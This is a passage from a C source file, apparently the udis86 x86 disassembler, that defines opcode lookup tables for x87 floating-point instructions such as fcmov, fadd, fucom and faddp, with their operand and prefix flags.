},\n /* 01 */ { UD_Ifcmovb, O_ST0, O_ST1, O_NONE, P_none },\n /* 02 */ { UD_Ifcmovb, O_ST0, O_ST2, O_NONE, P_none },\n /* 03 */ { UD_Ifcmovb, O_ST0, O_ST3, O_NONE, P_none },\n /* 04 */ { UD_Ifcmovb, O_ST0, O_ST4, O_NONE, P_none },\n /* 05 */ { UD_Ifcmovb, O_ST0, O_ST5, O_NONE, P_none },\n /* 06 */ { UD_Ifcmovb, O_ST0, O_ST6, O_NONE, P_none },\n /* 07 */ { UD_Ifcmovb, O_ST0, O_ST7, O_NONE, P_none },\n /* 08 */ { UD_Ifcmove, O_ST0, O_ST0, O_NONE, P_none },\n /* 09 */ { UD_Ifcmove, O_ST0, O_ST1, O_NONE, P_none },\n /* 0A */ { UD_Ifcmove, O_ST0, O_ST2, O_NONE, P_none },\n /* 0B */ { UD_Ifcmove, O_ST0, O_ST3, O_NONE, P_none },\n /* 0C */ { UD_Ifcmove, O_ST0, O_ST4, O_NONE, P_none },\n /* 0D */ { UD_Ifcmove, O_ST0, O_ST5, O_NONE, P_none },\n /* 0E */ { UD_Ifcmove, O_ST0, O_ST6, O_NONE, P_none },\n /* 0F */ { UD_Ifcmove, O_ST0, O_ST7, O_NONE, P_none },\n /* 10 */ { UD_Ifcmovbe, O_ST0, O_ST0, O_NONE, P_none },\n /* 11 */ { UD_Ifcmovbe, O_ST0, O_ST1, O_NONE, P_none },\n /* 12 */ { UD_Ifcmovbe, O_ST0, O_ST2, O_NONE, P_none },\n /* 13 */ { UD_Ifcmovbe, O_ST0, O_ST3, O_NONE, P_none },\n /* 14 */ { UD_Ifcmovbe, O_ST0, O_ST4, O_NONE, P_none },\n /* 15 */ { UD_Ifcmovbe, O_ST0, O_ST5, O_NONE, P_none },\n /* 16 */ { UD_Ifcmovbe, O_ST0, O_ST6, O_NONE, P_none },\n /* 17 */ { UD_Ifcmovbe, O_ST0, O_ST7, O_NONE, P_none },\n /* 18 */ { UD_Ifcmovu, O_ST0, O_ST0, O_NONE, P_none },\n /* 19 */ { UD_Ifcmovu, O_ST0, O_ST1, O_NONE, P_none },\n /* 1A */ { UD_Ifcmovu, O_ST0, O_ST2, O_NONE, P_none },\n /* 1B */ { UD_Ifcmovu, O_ST0, O_ST3, O_NONE, P_none },\n /* 1C */ { UD_Ifcmovu, O_ST0, O_ST4, O_NONE, P_none },\n /* 1D */ { UD_Ifcmovu, O_ST0, O_ST5, O_NONE, P_none },\n /* 1E */ { UD_Ifcmovu, O_ST0, O_ST6, O_NONE, P_none },\n /* 1F */ { UD_Ifcmovu, O_ST0, O_ST7, O_NONE, P_none },\n /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 28 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 29 */ { UD_Ifucompp, O_NONE, O_NONE, O_NONE, P_none },\n /* 2A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 35 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_db__mod[2] = {\n /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DB__MOD__OP_00__REG },\n /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DB__MOD__OP_01__X87 },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_db__mod__op_00__reg[8] = {\n /* 00 */ { UD_Ifild, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Ifisttp, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Ifist, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ifistp, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Ifld, O_Mt, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Ifstp, O_Mt, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_db__mod__op_01__x87[64] = {\n /* 00 */ { UD_Ifcmovnb, O_ST0, O_ST0, O_NONE, P_none },\n /* 01 */ { UD_Ifcmovnb, O_ST0, O_ST1, O_NONE, P_none },\n /* 02 */ { UD_Ifcmovnb, O_ST0, O_ST2, O_NONE, P_none },\n /* 03 */ { UD_Ifcmovnb, O_ST0, O_ST3, O_NONE, P_none },\n /* 04 */ { UD_Ifcmovnb, O_ST0, O_ST4, O_NONE, P_none },\n /* 05 */ { UD_Ifcmovnb, O_ST0, O_ST5, O_NONE, P_none },\n /* 06 */ { UD_Ifcmovnb, O_ST0, O_ST6, O_NONE, P_none },\n /* 07 */ { UD_Ifcmovnb, O_ST0, O_ST7, O_NONE, P_none },\n /* 08 */ { UD_Ifcmovne, O_ST0, O_ST0, O_NONE, P_none },\n /* 09 */ { UD_Ifcmovne, O_ST0, O_ST1, O_NONE, P_none },\n /* 0A */ { UD_Ifcmovne, O_ST0, O_ST2, O_NONE, P_none },\n /* 0B */ { UD_Ifcmovne, O_ST0, O_ST3, O_NONE, P_none },\n /* 0C */ { UD_Ifcmovne, O_ST0, O_ST4, O_NONE, P_none },\n /* 0D */ { UD_Ifcmovne, O_ST0, O_ST5, O_NONE, P_none },\n /* 0E */ { UD_Ifcmovne, O_ST0, O_ST6, O_NONE, P_none },\n /* 0F */ { UD_Ifcmovne, O_ST0, O_ST7, O_NONE, P_none },\n /* 10 */ { UD_Ifcmovnbe, O_ST0, O_ST0, O_NONE, P_none },\n /* 11 */ { UD_Ifcmovnbe, O_ST0, O_ST1, O_NONE, P_none },\n /* 12 */ { UD_Ifcmovnbe, O_ST0, O_ST2, O_NONE, P_none },\n /* 13 */ { UD_Ifcmovnbe, O_ST0, O_ST3, O_NONE, P_none },\n /* 14 */ { UD_Ifcmovnbe, O_ST0, O_ST4, O_NONE, P_none },\n /* 15 */ { UD_Ifcmovnbe, O_ST0, O_ST5, O_NONE, P_none },\n /* 16 */ { UD_Ifcmovnbe, O_ST0, O_ST6, O_NONE, P_none },\n /* 17 */ { UD_Ifcmovnbe, O_ST0, O_ST7, O_NONE, P_none },\n /* 18 */ { UD_Ifcmovnu, O_ST0, O_ST0, O_NONE, P_none },\n /* 19 */ { UD_Ifcmovnu, O_ST0, O_ST1, O_NONE, P_none },\n /* 1A */ { UD_Ifcmovnu, O_ST0, O_ST2, O_NONE, P_none },\n /* 1B */ { UD_Ifcmovnu, O_ST0, O_ST3, O_NONE, P_none },\n /* 1C */ { UD_Ifcmovnu, O_ST0, O_ST4, O_NONE, P_none },\n /* 1D */ { UD_Ifcmovnu, O_ST0, O_ST5, O_NONE, P_none },\n /* 1E */ { UD_Ifcmovnu, O_ST0, O_ST6, O_NONE, P_none },\n /* 1F */ { UD_Ifcmovnu, O_ST0, O_ST7, O_NONE, P_none },\n /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 22 */ { UD_Ifclex, O_NONE, O_NONE, O_NONE, P_none },\n /* 23 */ { UD_Ifninit, O_NONE, O_NONE, O_NONE, P_none },\n /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 28 */ { UD_Ifucomi, O_ST0, O_ST0, O_NONE, P_none },\n /* 29 */ { UD_Ifucomi, O_ST0, O_ST1, O_NONE, P_none },\n /* 2A */ { UD_Ifucomi, O_ST0, O_ST2, O_NONE, P_none },\n /* 2B */ { UD_Ifucomi, O_ST0, O_ST3, O_NONE, P_none },\n /* 2C */ { UD_Ifucomi, O_ST0, O_ST4, O_NONE, P_none },\n /* 2D */ { UD_Ifucomi, O_ST0, O_ST5, O_NONE, P_none },\n /* 2E */ { UD_Ifucomi, O_ST0, O_ST6, O_NONE, P_none },\n /* 2F */ { UD_Ifucomi, O_ST0, O_ST7, O_NONE, P_none },\n /* 30 */ { UD_Ifcomi, O_ST0, O_ST0, O_NONE, P_none },\n /* 31 */ { UD_Ifcomi, O_ST0, O_ST1, O_NONE, P_none },\n /* 32 */ { UD_Ifcomi, O_ST0, O_ST2, O_NONE, P_none },\n /* 33 */ { UD_Ifcomi, O_ST0, O_ST3, O_NONE, P_none },\n /* 34 */ { UD_Ifcomi, O_ST0, O_ST4, O_NONE, P_none },\n /* 35 */ { UD_Ifcomi, O_ST0, O_ST5, O_NONE, P_none },\n /* 36 */ { UD_Ifcomi, O_ST0, O_ST6, O_NONE, P_none },\n /* 37 */ { UD_Ifcomi, O_ST0, O_ST7, O_NONE, P_none },\n /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_dc__mod[2] = {\n /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DC__MOD__OP_00__REG },\n /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DC__MOD__OP_01__X87 },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_dc__mod__op_00__reg[8] = {\n /* 00 */ { UD_Ifadd, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Ifmul, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Ifcom, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ifcomp, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ifsub, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ifsubr, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ifdiv, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Ifdivr, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_dc__mod__op_01__x87[64] = {\n /* 00 */ { UD_Ifadd, O_ST0, O_ST0, O_NONE, P_none },\n /* 01 */ { UD_Ifadd, O_ST1, O_ST0, O_NONE, P_none },\n /* 02 */ { UD_Ifadd, O_ST2, O_ST0, O_NONE, P_none },\n /* 03 */ { UD_Ifadd, O_ST3, O_ST0, O_NONE, P_none },\n /* 04 */ { UD_Ifadd, O_ST4, O_ST0, O_NONE, P_none },\n /* 05 */ { UD_Ifadd, O_ST5, O_ST0, O_NONE, P_none },\n /* 06 */ { UD_Ifadd, O_ST6, O_ST0, O_NONE, P_none },\n /* 07 */ { UD_Ifadd, O_ST7, O_ST0, O_NONE, P_none },\n /* 08 */ { UD_Ifmul, O_ST0, O_ST0, O_NONE, P_none },\n /* 09 */ { UD_Ifmul, O_ST1, O_ST0, O_NONE, P_none },\n /* 0A */ { UD_Ifmul, O_ST2, O_ST0, O_NONE, P_none },\n /* 0B */ { UD_Ifmul, O_ST3, O_ST0, O_NONE, P_none },\n /* 0C */ { UD_Ifmul, O_ST4, O_ST0, O_NONE, P_none },\n /* 0D */ { UD_Ifmul, O_ST5, O_ST0, O_NONE, P_none },\n /* 0E */ { UD_Ifmul, O_ST6, O_ST0, O_NONE, P_none },\n /* 0F */ { UD_Ifmul, O_ST7, O_ST0, O_NONE, P_none },\n /* 10 */ { UD_Ifcom2, O_ST0, O_NONE, O_NONE, P_none },\n /* 11 */ { UD_Ifcom2, O_ST1, O_NONE, O_NONE, P_none },\n /* 12 */ { UD_Ifcom2, O_ST2, O_NONE, O_NONE, P_none },\n /* 13 */ { UD_Ifcom2, O_ST3, O_NONE, O_NONE, P_none },\n /* 14 */ { UD_Ifcom2, O_ST4, O_NONE, O_NONE, P_none },\n /* 15 */ { UD_Ifcom2, O_ST5, O_NONE, O_NONE, P_none },\n /* 16 */ { UD_Ifcom2, O_ST6, O_NONE, O_NONE, P_none },\n /* 17 */ { UD_Ifcom2, O_ST7, O_NONE, O_NONE, P_none },\n /* 18 */ { UD_Ifcomp3, O_ST0, O_NONE, O_NONE, P_none },\n /* 19 */ { UD_Ifcomp3, O_ST1, O_NONE, O_NONE, P_none },\n /* 1A */ { UD_Ifcomp3, O_ST2, O_NONE, O_NONE, P_none },\n /* 1B */ { UD_Ifcomp3, O_ST3, O_NONE, O_NONE, P_none },\n /* 1C */ { UD_Ifcomp3, O_ST4, O_NONE, O_NONE, P_none },\n /* 1D */ { UD_Ifcomp3, O_ST5, O_NONE, O_NONE, P_none },\n /* 1E */ { UD_Ifcomp3, O_ST6, O_NONE, O_NONE, P_none },\n /* 1F */ { UD_Ifcomp3, O_ST7, O_NONE, O_NONE, P_none },\n /* 20 */ { UD_Ifsubr, O_ST0, O_ST0, O_NONE, P_none },\n /* 21 */ { UD_Ifsubr, O_ST1, O_ST0, O_NONE, P_none },\n /* 22 */ { UD_Ifsubr, O_ST2, O_ST0, O_NONE, P_none },\n /* 23 */ { UD_Ifsubr, O_ST3, O_ST0, O_NONE, P_none },\n /* 24 */ { UD_Ifsubr, O_ST4, O_ST0, O_NONE, P_none },\n /* 25 */ { UD_Ifsubr, O_ST5, O_ST0, O_NONE, P_none },\n /* 26 */ { UD_Ifsubr, O_ST6, O_ST0, O_NONE, P_none },\n /* 27 */ { UD_Ifsubr, O_ST7, O_ST0, O_NONE, P_none },\n /* 28 */ { UD_Ifsub, O_ST0, O_ST0, O_NONE, P_none },\n /* 29 */ { UD_Ifsub, O_ST1, O_ST0, O_NONE, P_none },\n /* 2A */ { UD_Ifsub, O_ST2, O_ST0, O_NONE, P_none },\n /* 2B */ { UD_Ifsub, O_ST3, O_ST0, O_NONE, P_none },\n /* 2C */ { UD_Ifsub, O_ST4, O_ST0, O_NONE, P_none },\n /* 2D */ { UD_Ifsub, O_ST5, O_ST0, O_NONE, P_none },\n /* 2E */ { UD_Ifsub, O_ST6, O_ST0, O_NONE, P_none },\n /* 2F */ { UD_Ifsub, O_ST7, O_ST0, O_NONE, P_none },\n /* 30 */ { UD_Ifdivr, O_ST0, O_ST0, O_NONE, P_none },\n /* 31 */ { UD_Ifdivr, O_ST1, O_ST0, O_NONE, P_none },\n /* 32 */ { UD_Ifdivr, O_ST2, O_ST0, O_NONE, P_none },\n /* 33 */ { UD_Ifdivr, O_ST3, O_ST0, O_NONE, P_none },\n /* 34 */ { UD_Ifdivr, O_ST4, O_ST0, O_NONE, P_none },\n /* 35 */ { UD_Ifdivr, O_ST5, O_ST0, O_NONE, P_none },\n /* 36 */ { UD_Ifdivr, O_ST6, O_ST0, O_NONE, P_none },\n /* 37 */ { UD_Ifdivr, O_ST7, O_ST0, O_NONE, P_none },\n /* 38 */ { UD_Ifdiv, O_ST0, O_ST0, O_NONE, P_none },\n /* 39 */ { UD_Ifdiv, O_ST1, O_ST0, O_NONE, P_none },\n /* 3A */ { UD_Ifdiv, O_ST2, O_ST0, O_NONE, P_none },\n /* 3B */ { UD_Ifdiv, O_ST3, O_ST0, O_NONE, P_none },\n /* 3C */ { UD_Ifdiv, O_ST4, O_ST0, O_NONE, P_none },\n /* 3D */ { UD_Ifdiv, O_ST5, O_ST0, O_NONE, P_none },\n /* 3E */ { UD_Ifdiv, O_ST6, O_ST0, O_NONE, P_none },\n /* 3F */ { UD_Ifdiv, O_ST7, O_ST0, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_dd__mod[2] = {\n /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DD__MOD__OP_00__REG },\n /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DD__MOD__OP_01__X87 },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_dd__mod__op_00__reg[8] = {\n /* 00 */ { UD_Ifld, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Ifisttp, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Ifst, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ifstp, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ifrstor, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Ifnsave, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Ifnstsw, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_dd__mod__op_01__x87[64] = {\n /* 00 */ { UD_Iffree, O_ST0, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iffree, O_ST1, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iffree, O_ST2, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iffree, O_ST3, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iffree, O_ST4, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iffree, O_ST5, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iffree, O_ST6, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iffree, O_ST7, O_NONE, O_NONE, P_none },\n /* 08 */ { UD_Ifxch4, O_ST0, O_NONE, O_NONE, P_none },\n /* 09 */ { UD_Ifxch4, O_ST1, O_NONE, O_NONE, P_none },\n /* 0A */ { UD_Ifxch4, O_ST2, O_NONE, O_NONE, P_none },\n /* 0B */ { UD_Ifxch4, O_ST3, O_NONE, O_NONE, P_none },\n /* 0C */ { UD_Ifxch4, O_ST4, O_NONE, O_NONE, P_none },\n /* 0D */ { UD_Ifxch4, O_ST5, O_NONE, O_NONE, P_none },\n /* 0E */ { UD_Ifxch4, O_ST6, O_NONE, O_NONE, P_none },\n /* 0F */ { UD_Ifxch4, O_ST7, O_NONE, O_NONE, P_none },\n /* 10 */ { UD_Ifst, O_ST0, O_NONE, O_NONE, P_none },\n /* 11 */ { UD_Ifst, O_ST1, O_NONE, O_NONE, P_none },\n /* 12 */ { UD_Ifst, O_ST2, O_NONE, O_NONE, P_none },\n /* 13 */ { UD_Ifst, O_ST3, O_NONE, O_NONE, P_none },\n /* 14 */ { UD_Ifst, O_ST4, O_NONE, O_NONE, P_none },\n /* 15 */ { UD_Ifst, O_ST5, O_NONE, O_NONE, P_none },\n /* 16 */ { UD_Ifst, O_ST6, O_NONE, O_NONE, P_none },\n /* 17 */ { UD_Ifst, O_ST7, O_NONE, O_NONE, P_none },\n /* 18 */ { UD_Ifstp, O_ST0, O_NONE, O_NONE, P_none },\n /* 19 */ { UD_Ifstp, O_ST1, O_NONE, O_NONE, P_none },\n /* 1A */ { UD_Ifstp, O_ST2, O_NONE, O_NONE, P_none },\n /* 1B */ { UD_Ifstp, O_ST3, O_NONE, O_NONE, P_none },\n /* 1C */ { UD_Ifstp, O_ST4, O_NONE, O_NONE, P_none },\n /* 1D */ { UD_Ifstp, O_ST5, O_NONE, O_NONE, P_none },\n /* 1E */ { UD_Ifstp, O_ST6, O_NONE, O_NONE, P_none },\n /* 1F */ { UD_Ifstp, O_ST7, O_NONE, O_NONE, P_none },\n /* 20 */ { UD_Ifucom, O_ST0, O_NONE, O_NONE, P_none },\n /* 21 */ { UD_Ifucom, O_ST1, O_NONE, O_NONE, P_none },\n /* 22 */ { UD_Ifucom, O_ST2, O_NONE, O_NONE, P_none },\n /* 23 */ { UD_Ifucom, O_ST3, O_NONE, O_NONE, P_none },\n /* 24 */ { UD_Ifucom, O_ST4, O_NONE, O_NONE, P_none },\n /* 25 */ { UD_Ifucom, O_ST5, O_NONE, O_NONE, P_none },\n /* 26 */ { UD_Ifucom, O_ST6, O_NONE, O_NONE, P_none },\n /* 27 */ { UD_Ifucom, O_ST7, O_NONE, O_NONE, P_none },\n /* 28 */ { UD_Ifucomp, O_ST0, O_NONE, O_NONE, P_none },\n /* 29 */ { UD_Ifucomp, O_ST1, O_NONE, O_NONE, P_none },\n /* 2A */ { UD_Ifucomp, O_ST2, O_NONE, O_NONE, P_none },\n /* 2B */ { UD_Ifucomp, O_ST3, O_NONE, O_NONE, P_none },\n /* 2C */ { UD_Ifucomp, O_ST4, O_NONE, O_NONE, P_none },\n /* 2D */ { UD_Ifucomp, O_ST5, O_NONE, O_NONE, P_none },\n /* 2E */ { UD_Ifucomp, O_ST6, O_NONE, O_NONE, P_none },\n /* 2F */ { UD_Ifucomp, O_ST7, O_NONE, O_NONE, P_none },\n /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 35 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_de__mod[2] = {\n /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DE__MOD__OP_00__REG },\n /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DE__MOD__OP_01__X87 },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_de__mod__op_00__reg[8] = {\n /* 00 */ { UD_Ifiadd, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Ifimul, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Ificom, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ificomp, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ifisub, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ifisubr, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ifidiv, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Ifidivr, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_de__mod__op_01__x87[64] = {\n /* 00 */ { UD_Ifaddp, O_ST0, O_ST0, O_NONE, P_none },\n /* 01 */ { UD_Ifaddp, O_ST1, O_ST0, O_NONE, P_none },\n /* 02 */ { UD_Ifaddp, O_ST2, O_ST0, O_NONE, P_none },\n /* 03 */ { UD_Ifaddp, O_ST3, O_ST0, O_NONE, P_none },\n /* 04 */ { UD_Ifaddp, O_ST4, O_ST0, O_NONE, P_none },\n /* 05 */ { UD_Ifaddp, O_ST5, O_ST0, O_NONE, P_none },\n /* 06 */ { UD_Ifaddp, O_ST6, O_ST0, O_NONE, P_none },\n /* 07 */ { UD_Ifaddp, O_ST7, O_ST0, O_NONE, P_none },\n /* 08 */ { UD_Ifmulp, O_ST0, O_ST0, O_NONE, P_none },\n /* 09 */ { UD_Ifmulp, O_ST1, O_ST0, O_NONE, P_none },\n /* 0A */ { UD_Ifmulp, O_ST2, O_ST0, O_NONE, P_none },\n /* 0B */ { UD_Ifmulp, O_ST3, O_ST0, O_NONE, P_none },\n /* 0C */ { UD_Ifmulp, O_ST4, O_ST0, O_NONE, P_none },\n /* 0D */ { UD_Ifmulp, O_ST5, O_ST0, O_NONE, P_none },\n /* 0E */ { UD_Ifmulp, O_ST6, O_ST0, O_NONE, P_none },\n /* 0F */ { UD_Ifmulp, O_ST7, O_ST0, O_NONE, P_none },\n /* 10 */ { UD_Ifcomp5, O_ST0, O_NONE, O_NONE, P_none },\n /* 11 */ { UD_Ifcomp5, O_ST1, O_NONE, O_NONE, P_none },\n /* 12 */ { UD_Ifcomp5, O_ST2, O_NONE, O_NONE, P_none },\n /* 13 */ { UD_Ifcomp5, O_ST3, O_NONE, O_NONE, P_none },\n /* 14 */ { UD_Ifcomp5, O_ST4, O_NONE, O_NONE, P_none },\n /* 15 */ { UD_Ifcomp5, O_ST5, O_NONE, O_NONE, P_none },\n /* 16 */ { UD_Ifcomp5, O_ST6, O_NONE, O_NONE, P_none },\n /* 17 */ { UD_Ifcomp5, O_ST7, O_NONE, O_NONE, P_none },\n /* 18 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 19 */ { UD_Ifcompp, O_NONE, O_NONE, O_NONE, P_none },\n /* 1A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1C 